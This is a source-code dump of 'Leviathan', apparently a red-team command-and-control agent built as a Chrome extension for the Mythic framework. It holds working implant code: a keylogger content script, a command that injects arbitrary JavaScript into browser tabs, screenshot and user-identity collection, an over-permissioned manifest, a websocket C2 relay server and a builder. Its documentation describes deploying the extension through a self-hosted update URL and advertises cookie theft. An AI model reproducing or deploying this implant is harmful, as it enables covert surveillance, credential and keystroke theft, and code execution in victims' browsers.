/Payload_Type/leviathan/leviathan/agent_code/commands/inject.js:
--------------------------------------------------------------------------------
1 | exports.inject = function(task) {
2 | // execute custom javascript code in a tab
3 | try {
4 | let args = JSON.parse(task.parameters.toString());
5 | const tab = Math.round(args.tabid);
6 | const code = atob(args.javascript);
7 | chrome.tabs.executeScript(tab, {
8 | code: code
9 | }, function(){
10 | if (chrome.runtime.lastError) {
11 | C2.sendError(taskid, tasktype);
12 | } else {
13 | let response = {"task_id":task.id, "user_output":"injected code into tab with id " + tab, "completed": true};
14 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
15 | let enc = JSON.stringify(outer_response);
16 | let final = apfell.apfellid + enc;
17 | let msg = btoa(unescape(encodeURIComponent(final)));
18 | out.push(msg);
19 | }
20 | });
21 | } catch (error) {
22 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
23 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
24 | let enc = JSON.stringify(outer_response);
25 | let final = apfell.apfellid + enc;
26 | let msg = btoa(unescape(encodeURIComponent(final)));
27 | out.push(msg);
28 | }
29 |
30 | };
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "EXTENSION_NAME_REPLACE",
3 | "version": "VERSION_REPLACE",
4 | "manifest_version": 2,
5 | "description": "DESCRIPTION_REPLACE",
6 | "homepage_url": "http://www.example.com/debugextension",
7 | "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
8 | "converted_from_user_script": true,
9 | "background": {
10 | "scripts": [
11 | "main.js"
12 | ],
13 | "persistent": true
14 | },
15 | "icons": {
16 | "128": "icons/blank.png"
17 | },
18 | "update_url" : "http://www.example.com/update.xml",
19 | "permissions": [
20 | "bookmarks",
21 | "webNavigation",
22 | "clipboardRead",
23 | "clipboardWrite",
24 | "contentSettings",
25 | "contextMenus",
26 | "cookies",
27 | "history",
28 | "idle",
29 | "management",
30 | "notifications",
31 | "tabs",
32 | "identity",
33 | "identity.email",
34 | "alarms",
35 | "background",
36 | "browsingData",
37 | "contentSettings",
38 | "cookies",
39 | "debugger",
40 | "declarativeContent",
41 | "desktopCapture",
42 | "downloads",
43 | "gcm",
44 | "history",
45 | "idle",
46 | "power",
47 | "privacy",
48 | "proxy",
49 | "system.cpu",
50 | "tabCapture",
51 | "tabs",
52 | "unlimitedStorage",
53 | "webRequest",
54 | "nativeMessaging",
55 | "geolocation",
56 | "webRequestBlocking",
57 | "downloads",
58 | "downloads.open",
59 | ""
60 | ]
61 | }
62 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/websocket.py:
--------------------------------------------------------------------------------
1 | from mythic_container.C2ProfileBase import *
2 |
3 |
4 | class Websocket(C2Profile):
5 | name = "leviathan-websocket"
6 | description = "Websocket C2 Server for Leviathan"
7 | author = "@xorrior"
8 | is_p2p = False
9 | is_server_routed = False
10 | mythic_encrypts = True
11 | translation_container = None
12 | server_binary_path = pathlib.Path(".") / "leviathan_websocket" / "c2_code" / "mythic_leviathan_websocket_server"
13 | server_folder_path = pathlib.Path(".") / "leviathan_websocket" / "c2_code"
14 | parameters = [
15 | C2ProfileParameter(
16 | name="callback_host",
17 | description="Callback Host",
18 | default_value="ws://127.0.0.1",
19 | verifier_regex="^(ws|wss)://[a-zA-Z0-9]+",
20 | ),
21 | C2ProfileParameter(
22 | name="callback_interval",
23 | description="Callback Interval in seconds",
24 | default_value="10",
25 | verifier_regex="^[0-9]+$",
26 | required=False,
27 | ),
28 | C2ProfileParameter(
29 | name="ENDPOINT_REPLACE",
30 | description="Websockets Endpoint",
31 | default_value="socket",
32 | required=False,
33 | ),
34 | C2ProfileParameter(
35 | name="callback_port",
36 | description="Callback Port",
37 | default_value="8081",
38 | verifier_regex="^[0-9]+$",
39 | required=False,
40 | ),
41 | ]
42 |
--------------------------------------------------------------------------------
/documentation-payload/leviathan/development.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "Development"
3 | chapter = false
4 | weight = 20
5 | pre = "3. "
6 | +++
7 |
8 | ## Development Environment
9 |
10 | The chrome extension code can be modified in any text editor or IDE since it's just plaintext JavaScript.
11 |
12 | ## Adding Commands
13 |
14 | New commands should be added to `Payload_Types/leviathan/agent_code/commands/` directory. Please use the following template:
15 |
16 | ```
17 | exports.command = function(task) {
18 | try {
19 | // Your command code here
20 | } catch (error) {
21 | // Exception handling
22 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
23 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
24 | let enc = JSON.stringify(outer_response);
25 | let final = apfell.apfellid + enc;
26 | let msg = btoa(unescape(encodeURIComponent(final)));
27 | out.push(msg);
28 | }
29 | };
30 | COMMAND_ENDS_HERE
31 | ```
32 | - The `out` variable is an array of json messages that will be sent to the chrome server.
33 | - The `task` variable is a json blob that represents a new task from mythic. For additional information, please review the documentation here: https://docs.apfell.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action_get_tasking.
34 |
35 | ## Adding C2 Profiles
36 |
37 | The code for c2 profiles is saved in `Payload_Types/leviahtan/agent_code/c2/`. Please use the `chrome-server` profile as an example.
38 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2023, Mythic Meta Configuration Information
4 |
5 | Redistribution and use in source and binary forms, with or without
6 | modification, are permitted provided that the following conditions are met:
7 |
8 | 1. Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 |
11 | 2. Redistributions in binary form must reproduce the above copyright notice,
12 | this list of conditions and the following disclaimer in the documentation
13 | and/or other materials provided with the distribution.
14 |
15 | 3. Neither the name of the copyright holder nor the names of its
16 | contributors may be used to endorse or promote products derived from
17 | this software without specific prior written permission.
18 |
19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/commands/userinfo.js:
--------------------------------------------------------------------------------
1 | exports.userinfo = function(task) {
2 | try {
3 | chrome.identity.getProfileUserInfo(function(info){
4 | if (info === undefined) {
5 | let response = {'task_id':task.id, 'user_output': 'userinfo failed', 'completed': false, 'status':'error'};
6 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
7 | let enc = JSON.stringify(outer_response);
8 | let final = apfell.apfellid + enc;
9 | let msg = btoa(unescape(encodeURIComponent(final)));
10 | out.push(msg);
11 | } else {
12 | let response = {"task_id":task.id, "user_output":JSON.stringify(info, null, 2), "completed": true};
13 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
14 | let enc = JSON.stringify(outer_response);
15 | let final = apfell.apfellid + enc;
16 | let msg = btoa(unescape(encodeURIComponent(final)));
17 | out.push(msg);
18 | }
19 | });
20 | } catch (error) {
21 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
22 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
23 | let enc = JSON.stringify(outer_response);
24 | let final = apfell.apfellid + enc;
25 | let msg = btoa(unescape(encodeURIComponent(final)));
26 | out.push(msg);
27 | }
28 | };
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/extension/utils/kl.js:
--------------------------------------------------------------------------------
1 | // Heavily adapted from https://github.com/Xeroday/ChromeLogger/blob/master/Chrome/src/inject/payload.js
2 | var port = chrome.runtime.connect({name: "keylogger"});
3 |
4 | if (!document.title) {
5 | document.title = document.URL;
6 | }
7 |
8 | document.addEventListener('keypress', function(e) {
9 | e = e || window.event;
10 | var charCode = typeof e.which == "number" ? e.which : e.keyCode;
11 | if(charCode) {
12 | log(String.fromCharCode(charCode));
13 | }
14 | });
15 |
16 | document.addEventListener('keydown', function (e) {
17 | e = e || window.event;
18 | var charCode = typeof e.which == "number" ? e.which : e.keyCode;
19 | if (charCode == 8) {
20 | log("[BKSP]");
21 | } else if (charCode == 9) {
22 | log("[TAB]");
23 | } else if (charCode == 13) {
24 | log("[ENTER]");
25 | } else if (charCode == 16) {
26 | log("[SHIFT]");
27 | } else if (charCode == 17) {
28 | log("[CTRL]");
29 | } else if (charCode == 18) {
30 | log("[ALT]");
31 | } else if (charCode == 91) {
32 | log("[L WINDOW]"); // command for mac
33 | } else if (charCode == 92) {
34 | log("[R WINDOW]"); // command for mac
35 | } else if (charCode == 93) {
36 | log("[SELECT/CMD]"); // command for mac
37 | }
38 | });
39 |
40 | /* Keylog Saving */
41 | var time = new Date().getTime();
42 | var data = {};
43 | var lastLog = time;
44 |
45 |
46 | function log(input) {
47 | var now = new Date().getTime();
48 | if (now - lastLog < 10) return;
49 | data[time] += input;
50 | lastLog = now;
51 | port.sendMessage(data)
52 | }
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/commands/tabs.js:
--------------------------------------------------------------------------------
1 | exports.tabs = function(task) {
2 | try {
3 | const queryInfo = {};
4 | let tabs =[];
5 | chrome.tabs.query(queryInfo, function(result){
6 | for (let i = 0; i < result.length; i++) {
7 | const individualTab = {};
8 | individualTab.window = result[i].title;
9 | individualTab.url = result[i].url;
10 | individualTab.incognito = result[i].incognito;
11 | individualTab.id = result[i].id;
12 | individualTab.active = result[i].active;
13 | individualTab.highlighted = result[i].highlighted;
14 | individualTab.windowid = result[i].windowId;
15 |
16 | tabs.push(individualTab);
17 | }
18 |
19 | let output = JSON.stringify(tabs, null, 2);
20 | let response = {"task_id":task.id, "user_output":output, "completed": true};
21 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
22 | let enc = JSON.stringify(outer_response);
23 | let final = apfell.apfellid + enc;
24 | let msg = btoa(unescape(encodeURIComponent(final)));
25 | out.push(msg);
26 | });
27 | } catch (error) {
28 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
29 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
30 | let enc = JSON.stringify(outer_response);
31 | let final = apfell.apfellid + enc;
32 | let msg = btoa(unescape(encodeURIComponent(final)));
33 | out.push(msg);
34 | }
35 |
36 | };
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/commands/screencapture.js:
--------------------------------------------------------------------------------
1 | exports.screencapture = function(task){
2 | try {
3 | let param = {
4 | 'format': 'png',
5 | 'quality': 75
6 | };
7 | chrome.tabs.captureVisibleTab(param, function(img) {
8 | if (img === undefined) {
9 | let response = {'task_id':task.id, 'user_output': 'screencapture failed', 'completed': false, 'status':'error'};
10 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
11 | let enc = JSON.stringify(outer_response);
12 | let final = apfell.apfellid + enc;
13 | let msg = btoa(unescape(encodeURIComponent(final)));
14 | out.push(msg);
15 | } else {
16 | let encImg = img.toString().split(',')[1];
17 | let raw = encImg;
18 | let totalchunks = 1;
19 | let response = {'total_chunks':totalchunks, 'task_id':task.id, 'full_path':task.parameters};
20 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
21 | let enc = JSON.stringify(outer_response);
22 | let final = apfell.apfellid + enc;
23 | let msg = btoa(unescape(encodeURIComponent(final)));
24 | out.push(msg);
25 | screencaptures.push({'type':'screencapture','task_id':task.id, 'image':raw, 'total_chunks': totalchunks});
26 | }
27 | });
28 | } catch (error) {
29 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
30 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
31 | let enc = JSON.stringify(outer_response);
32 | let final = apfell.apfellid + enc;
33 | let msg = btoa(unescape(encodeURIComponent(final)));
34 | out.push(msg);
35 | }
36 |
37 | };
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Leviathan
2 |
3 | Leviathan is a Chrome extension written in JavaScript by @xorrior. It's intended to be leveraged outside of the Google Chrome store and hosted on your own servers. This is for Mythic 2.2.7, and does not support Mythic 2.1.
4 |
5 | Leviathan uses the `itsafeaturemythic/leviathan_payload:0.0.6` docker container and reports to Mythic as version "8".
6 |
7 | ## Leviathan's Icon
8 |
9 | leviathan's icon was made by Freepik from www.flaticon.com
10 |
11 |
12 | ## How to install an agent in this format within Mythic
13 |
14 | When it's time for you to test out your install or for another user to install your agent, it's pretty simple. Within Mythic you can run the `mythic-cli` binary to install this in one of three ways:
15 |
16 | * `sudo ./mythic-cli install github https://github.com/user/repo` to install the main branch
17 | * `sudo ./mythic-cli install github https://github.com/user/repo branchname` to install a specific branch of that repo
18 | * `sudo ./mythic-cli install folder /path/to/local/folder/cloned/from/github` to install from an already cloned down version of an agent repo
19 |
20 | Now, you might be wondering _when_ should you or a user do this to properly add your agent to their Mythic instance. There's no wrong answer here, just depends on your preference. The three options are:
21 |
22 | * Mythic is already up and going, then you can run the install script and just direct that agent's containers to start (i.e. `sudo ./mythic-cli payload start agentName` and if that agent has its own special C2 containers, you'll need to start them too via `sudo ./mythic-cli c2 start c2profileName`).
23 | * Mythic is already up and going, but you want to minimize your steps, you can just install the agent and run `sudo ./mythic-cli mythic start`. That script will first _stop_ all of your containers, then start everything back up again. This will also bring in the new agent you just installed.
24 | * Mythic isn't running, you can install the script and just run `sudo ./mythic-cli mythic start`.
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/chrome-extension.js:
--------------------------------------------------------------------------------
1 | //--------------IMPLANT INFORMATION-----------------------------------
2 | class implant{
3 | constructor(){
4 | this.hostinfo = "chrome";
5 | this.userinfo = '';
6 | this.procinfo = 0;
7 | this.uuid = "UUID_HERE";
8 | this.apfellid = 0;
9 | }
10 | }
11 |
12 | var hostos = "";
13 | var hostarch = "";
14 | var apfell = new implant();
15 | //--------------Base C2 INFORMATION---------------------------------------
16 | class baseC2 {
17 | constructor(host, port, endpoint, interval) {
18 | this.host = host;
19 | this.port = port;
20 | this.interval = interval;
21 | this.commands = {};
22 | this.server = `${this.host}:${this.port}/${endpoint}`;
23 | }
24 |
25 | getInterval(){
26 | return this.interval;
27 | }
28 |
29 | getConfig(){
30 | // return the c2 config
31 | }
32 |
33 | postResponse(){
34 | //output a response to a task
35 | }
36 | setConfig(){
37 | //Not implemented
38 | }
39 | download(){
40 | //Not Implemented
41 | }
42 | upload(){
43 | //Not implemented
44 | }
45 |
46 | checkIn(){
47 | // register this callback with the server
48 | }
49 |
50 | sendResponse(){
51 | // Send a response to the server
52 | }
53 | }
54 |
55 | // C2 Profile Code
56 | C2PROFILE_HERE
57 |
58 | //-------------SHARED COMMAND CODE ------------------------
59 | chrome.identity.getProfileUserInfo(function(info){
60 | apfell.userinfo = info.email;
61 | });
62 |
63 | chrome.runtime.getPlatformInfo(function(info) {
64 | hostos = info.os;
65 | hostarch = info.arch;
66 | });
67 |
68 | default_load = function(contents){
69 | var module = {exports: {}};
70 | var exports = module.exports;
71 | eval(contents);
72 | return module.exports;
73 | };
74 |
75 | let exports = {};
76 | // Commands
77 | COMMANDS_HERE
78 |
79 | var commands_dict = exports;
80 | C2.commands = Object.keys(commands_dict);
--------------------------------------------------------------------------------
/documentation-payload/leviathan/_index.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "leviathan"
3 | chapter = false
4 | weight = 5
5 | +++
6 | 
7 | ## Summary
8 | The leviathan agent is a Chrome browser extension that leverages the websockets protocol for C2. To use this payload:
9 | 1. Create the payload the UI. This will create a .zip file for you to download and extract.
10 | 2. In Google Chrome, click the hamburger icon on the right -> More Tools -> Extensions
11 | 3. Click the top right toggle for developer mode
12 | 4. Drag the extension.crx file onto the extensions page in Chrome to get a popup about adding the extension
13 | 5. Click "Add extension"
14 | 6. The extension will now be listed with an `ID: string here` such as (`ID: cmpdmiiigdgpigikmenkkobfkcbnpgij`)
15 | {{% notice info %}}
16 | For local testing, you can select to "Load unpacked" and point to the `extension` folder. It'll load and run your extension locally.
17 | {{% /notice %}}
18 | At this point, you need to deploy it in operations. This is very OS and operation specific. In general, you're looking at steps 13 and 14 from @xorrior's original [blog](https://posts.specterops.io/no-place-like-chrome-122e500e421f).
19 |
20 | When building the payload in Mythic, you specify the path of where the manifest is going to live, like `https://mydomain.com/manifest.xml`. Chrome is going to reach out to this url to get some information and the actual extension. The xml file looks like this (you will need to generate this):
21 |
22 | ```
23 |
24 |
25 |
26 |
27 |
28 |
29 | ```
30 |
31 | Make sure that the version specified here matches the version you specified when generating your payload. You can use this to your advantage to "announce" a new version that Chrome should pull down and run.
32 |
33 | ### Highlighted Agent Features
34 |
35 | - Capture screenshots
36 | - Steal cookies
37 | - View open tabs
38 | - Inject javascript into tabs
39 | - Dynamically load new commands
40 |
41 | ## Authors
42 |
43 | @xorrior
44 |
45 | ### Special Thanks to These Contributors
46 |
47 | @sixdub for the idea and PoC code
48 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 | *.py[cod]
3 | # Sphinx documentation
4 | docs/_build/
5 | # Environments
6 | .env
7 | .venv
8 | env/
9 | venv/
10 | ENV/
11 | env.bak/
12 | venv.bak/
13 | # pycharm
14 | .idea/
15 | # ssl certs
16 | ssl/
17 | # Mythic files
18 | files/
19 | mythic_access.*
20 | postgres-docker/database/
21 | rabbitmq-docker/storage/
22 | display_output.txt
23 | ## Ignore Visual Studio temporary files, build results, and
24 | ## files generated by popular Visual Studio add-ons.
25 | ##
26 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
27 |
28 | # User-specific files
29 | *.suo
30 | *.user
31 | *.userosscache
32 | *.sln.docstates
33 |
34 | # User-specific files (MonoDevelop/Xamarin Studio)
35 | *.userprefs
36 |
37 | # Build results
38 | [Dd]ebug/
39 | [Dd]ebugPublic/
40 | [Rr]elease/
41 | [Rr]eleases/
42 | x64/
43 | x86/
44 | bld/
45 | [Bb]in/
46 | [Oo]bj/
47 | [Ll]og/
48 |
49 | # Visual Studio 2015/2017 cache/options directory
50 | .vs/
51 | # Uncomment if you have tasks that create the project's static files in wwwroot
52 | #wwwroot/
53 |
54 | # Visual Studio 2017 auto generated files
55 | Generated\ Files/
56 |
57 | # MSTest test Results
58 | [Tt]est[Rr]esult*/
59 | [Bb]uild[Ll]og.*
60 |
61 | # NUNIT
62 | *.VisualState.xml
63 | TestResult.xml
64 |
65 | # Build Results of an ATL Project
66 | [Dd]ebugPS/
67 | [Rr]eleasePS/
68 | dlldata.c
69 |
70 | # Benchmark Results
71 | BenchmarkDotNet.Artifacts/
72 |
73 | # .NET Core
74 | project.lock.json
75 | project.fragment.lock.json
76 | artifacts/
77 | **/Properties/launchSettings.json
78 |
79 | # StyleCop
80 | StyleCopReport.xml
81 |
82 | # Files built by Visual Studio
83 | *_i.c
84 | *_p.c
85 | *_i.h
86 | *.ilk
87 | *.meta
88 | *.obj
89 | *.iobj
90 | *.pch
91 | *.pdb
92 | *.ipdb
93 | *.pgc
94 | *.pgd
95 | *.rsp
96 | *.sbr
97 | *.tlb
98 | *.tli
99 | *.tlh
100 | *.tmp
101 | *.tmp_proj
102 | *.log
103 | *.vspscc
104 | *.vssscc
105 | .builds
106 | *.pidb
107 | *.svclog
108 | *.scc
109 |
110 | # Chutzpah Test files
111 | _Chutzpah*
112 |
113 | # Visual C++ cache files
114 | ipch/
115 | *.aps
116 | *.ncb
117 | *.opendb
118 | *.opensdf
119 | *.sdf
120 | *.cachefile
121 | *.VC.db
122 | *.VC.VC.opendb
123 |
124 | # Visual Studio profiler
125 | *.psess
126 | *.vsp
127 | *.vspx
128 | *.sap
129 |
130 | # Visual Studio Trace Files
131 | *.e2e
132 |
133 | # TFS 2012 Local Workspace
134 | $tf/
135 |
136 | # Guidance Automation Toolkit
137 | *.gpState
138 |
139 | # ReSharper is a .NET coding add-in
140 | _ReSharper*/
141 | *.[Rr]e[Ss]harper
142 | *.DotSettings.user
143 |
144 | # vscode
145 | .vscode/
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/builder.py:
--------------------------------------------------------------------------------
1 | from mythic_container.MythicCommandBase import *
2 | from mythic_container.PayloadBuilder import *
3 | import uuid
4 | import asyncio
5 | import os
6 | from distutils.dir_util import copy_tree
7 | import tempfile
8 | import shutil
9 |
10 |
11 | class Leviathan(PayloadType):
12 |
13 | name = "leviathan"
14 | file_extension = "zip"
15 | author = "@xorrior"
16 | supported_os = [SupportedOS.Chrome]
17 | wrapper = False
18 | mythic_encrypts = True
19 | wrapped_payloads = []
20 | note = "This payload uses javascript, html, and CSS for execution in the context of a browser via a Chrome Browser extension"
21 | supports_dynamic_loading = False
22 | agent_path = pathlib.Path("") / "leviathan"
23 | agent_icon_path = agent_path / "agent_functions" / "leviathan.svg"
24 | agent_code_path = agent_path / "agent_code"
25 | build_parameters = [
26 | BuildParameter(
27 | name="name",
28 | parameter_type=BuildParameterType.String,
29 | description="Name of your extension",
30 | default_value="example",
31 | required=False,
32 | ),
33 | BuildParameter(
34 | name="update_url",
35 | parameter_type=BuildParameterType.String,
36 | description="The url that hosts the update manifest file (xml)",
37 | default_value="http://www.example.com/update.xml",
38 | ),
39 | BuildParameter(
40 | name="url",
41 | parameter_type=BuildParameterType.String,
42 | description="The home page url for your extension. This will be used as the default location for when a user clicks on your extension icon in the toolbar",
43 | default_value="http://www.example.com",
44 | ),
45 | BuildParameter(
46 | name="version",
47 | parameter_type=BuildParameterType.String,
48 | description="The version for your extension",
49 | default_value="1.0",
50 | ),
51 | ]
52 | c2_profiles = ["leviathan-websocket"]
53 |
54 | async def build(self) -> BuildResponse:
55 | # this function gets called to create an instance of your payload
56 | resp = BuildResponse(status=BuildStatus.Error)
57 | # create the payload
58 | try:
59 | agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
60 | # shutil to copy payload files over
61 | copy_tree(str(self.agent_code_path), agent_build_path.name)
62 | command_code = ""
63 | for cmd in self.commands.get_commands():
64 | command_code += (
65 | open(
66 | "{}/commands/{}.js".format(agent_build_path.name, cmd), "r"
67 | ).read()
68 | + "\n"
69 | )
70 | file1 = open(
71 | "{}/chrome-extension.js".format(agent_build_path.name), "r"
72 | ).read()
73 | file1 = file1.replace("UUID_HERE", self.uuid)
74 | file1 = file1.replace("COMMANDS_HERE", command_code)
75 | all_c2_code = ""
76 | for c2 in self.c2info:
77 | profile = c2.get_c2profile()
78 | c2_code = open(
79 | "{}/c2/{}.js".format(agent_build_path.name, profile["name"]), "r"
80 | ).read()
81 | for key, val in c2.get_parameters_dict().items():
82 | if isinstance(val, dict):
83 | c2_code = c2_code.replace(key, val["enc_key"] if val["enc_key"] is not None else "")
84 | else:
85 | c2_code = c2_code.replace(key, val)
86 | all_c2_code += c2_code
87 | file1 = file1.replace("C2PROFILE_HERE", all_c2_code)
88 | with open("{}/extension/main.js".format(agent_build_path.name), "w") as f:
89 | f.write(file1)
90 | file = open("{}/manifest.json".format(agent_build_path.name), "r").read()
91 | file = file.replace("EXTENSION_NAME_REPLACE", self.get_parameter("name"))
92 | file = file.replace("DESCRIPTION_REPLACE", self.get_parameter("name"))
93 | file = file.replace(
94 | "http://www.example.com/debugextension", self.get_parameter("url")
95 | )
96 | file = file.replace(
97 | "http://www.example.com/update.xml", self.get_parameter("update_url")
98 | )
99 | file = file.replace("VERSION_REPLACE", self.get_parameter("version"))
100 | with open(
101 | "{}/extension/manifest.json".format(agent_build_path.name), "w"
102 | ) as f:
103 | f.write(file)
104 | command = "PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python python /CRX3-Creator/main.py {}/extension".format(
105 | agent_build_path.name
106 | )
107 | proc = await asyncio.create_subprocess_shell(
108 | command,
109 | stdout=asyncio.subprocess.PIPE,
110 | stderr=asyncio.subprocess.PIPE,
111 | cwd=agent_build_path.name,
112 | )
113 | stdout = ""
114 | stderr = ""
115 | stdoutProc, stderrProc = await proc.communicate()
116 | if stdoutProc:
117 | stdout += f"[stdout]\n{stdoutProc.decode()}\n"
118 | if stderrProc:
119 | stderr += f"[stderr]\n{stderrProc.decode()}"
120 | if os.path.exists("{}/extension.crx".format(agent_build_path.name)):
121 | temp_uuid = str(uuid.uuid4())
122 | shutil.make_archive(
123 | "{}/{}".format(agent_build_path.name, temp_uuid),
124 | "zip",
125 | "{}".format(agent_build_path.name),
126 | )
127 | resp.payload = open(
128 | "{}/{}.zip".format(agent_build_path.name, temp_uuid), "rb"
129 | ).read()
130 | resp.status = BuildStatus.Success
131 | resp.build_message = "created zip of chrome extension files"
132 | else:
133 | # something went wrong, return our errors
134 | resp.set_status(BuildStatus.Error)
135 | resp.build_stdout = stdout
136 | resp.build_stderr = stderr
137 | except Exception as e:
138 | resp.set_status(BuildStatus.Error)
139 | resp.build_stderr = "Error building payload: " + str(e)
140 | return resp
141 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/servers/websocket.go:
--------------------------------------------------------------------------------
1 | //go:build websocket
2 |
3 | package servers
4 |
5 | import (
6 | "bytes"
7 | "crypto/tls"
8 | "fmt"
9 | "io"
10 | "log"
11 | "net/http"
12 | "os"
13 | "strings"
14 |
15 | "github.com/gorilla/websocket"
16 | "github.com/kabukky/httpscerts"
17 | )
18 |
19 | type WebsocketC2 struct {
20 | BaseURL string
21 | BindAddress string
22 | SSL bool
23 | SocketURI string
24 | Defaultpage string
25 | Logfile string
26 | Debug bool
27 | }
28 |
29 | var upgrader = websocket.Upgrader{}
30 |
31 | func newServer() Server {
32 | return &WebsocketC2{}
33 | }
34 |
35 | func (s *WebsocketC2) SetBindAddress(addr string) {
36 | s.BindAddress = addr
37 | }
38 |
39 | func (s WebsocketC2) ApfellBaseURL() string {
40 | return s.BaseURL
41 | }
42 |
43 | func (s *WebsocketC2) SetMythicBaseURL(url string) {
44 | s.BaseURL = url
45 | }
46 |
47 | // SetSocketURI - Set socket uri
48 | func (s *WebsocketC2) SetSocketURI(uri string) {
49 | s.SocketURI = uri
50 | }
51 |
52 | var tr = &http.Transport{
53 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
54 | }
55 | var client = &http.Client{Transport: tr}
56 |
57 | func (s *WebsocketC2) PostMessage(msg []byte) []byte {
58 | url := s.ApfellBaseURL()
59 | //log.Println("Sending POST request to url: ", url)
60 | s.Websocketlog(fmt.Sprintln("Sending POST request to: ", url))
61 | if req, err := http.NewRequest("POST", url, bytes.NewBuffer(msg)); err != nil {
62 | s.Websocketlog(fmt.Sprintf("Error making new http request object: %s", err.Error()))
63 | return make([]byte, 0)
64 | } else {
65 | req.Header.Add("Mythic", "websocket")
66 | contentLength := len(msg)
67 | req.ContentLength = int64(contentLength)
68 |
69 | if resp, err := client.Do(req); err != nil {
70 | s.Websocketlog(fmt.Sprintf("Error sending POST request: %s", err.Error()))
71 | return make([]byte, 0)
72 | } else if resp.StatusCode != 200 {
73 | s.Websocketlog(fmt.Sprintf("Did not receive 200 response code: %d", resp.StatusCode))
74 | return make([]byte, 0)
75 | } else {
76 | defer resp.Body.Close()
77 | if body, err := io.ReadAll(resp.Body); err != nil {
78 | s.Websocketlog(fmt.Sprintf("Error reading response body: %s", err.Error()))
79 | return make([]byte, 0)
80 | } else {
81 | return body
82 | }
83 | }
84 | }
85 | }
86 | func (s *WebsocketC2) SetDebug(debug bool) {
87 | s.Debug = debug
88 | }
89 |
90 | // GetDefaultPage - Get the default html page
91 | func (s WebsocketC2) GetDefaultPage() string {
92 | return s.Defaultpage
93 | }
94 |
95 | // SetDefaultPage - Set the default html page
96 | func (s *WebsocketC2) SetDefaultPage(newpage string) {
97 | s.Defaultpage = newpage
98 | }
99 |
100 | // SocketHandler - Websockets handler
101 | func (s WebsocketC2) SocketHandler(w http.ResponseWriter, r *http.Request) {
102 | //Upgrade the websocket connection
103 | upgrader.CheckOrigin = func(r *http.Request) bool { return true }
104 | conn, err := upgrader.Upgrade(w, r, nil)
105 | if err != nil {
106 | s.Websocketlog(fmt.Sprintf("Websocket upgrade failed: %s\n", err.Error()))
107 | http.Error(w, "websocket connection failed", http.StatusBadRequest)
108 | return
109 | }
110 |
111 | s.Websocketlog("Received new websocket client")
112 |
113 | go s.manageClient(conn)
114 |
115 | }
116 |
117 | func (s *WebsocketC2) manageClient(c *websocket.Conn) {
118 |
119 | LOOP:
120 | for {
121 | // Wait for the client to send the initial checkin message
122 | m := Message{}
123 | var resp []byte
124 | if err := c.ReadJSON(&m); err != nil {
125 | s.Websocketlog(fmt.Sprintf("Read error %s. Exiting session", err.Error()))
126 | return
127 | } else {
128 | if m.Client {
129 | s.Websocketlog(fmt.Sprintf("Received agent message %+v\n", m))
130 | resp = s.PostMessage([]byte(m.Data))
131 | }
132 |
133 | reply := Message{Client: false}
134 |
135 | if len(resp) == 0 {
136 | reply.Data = ""
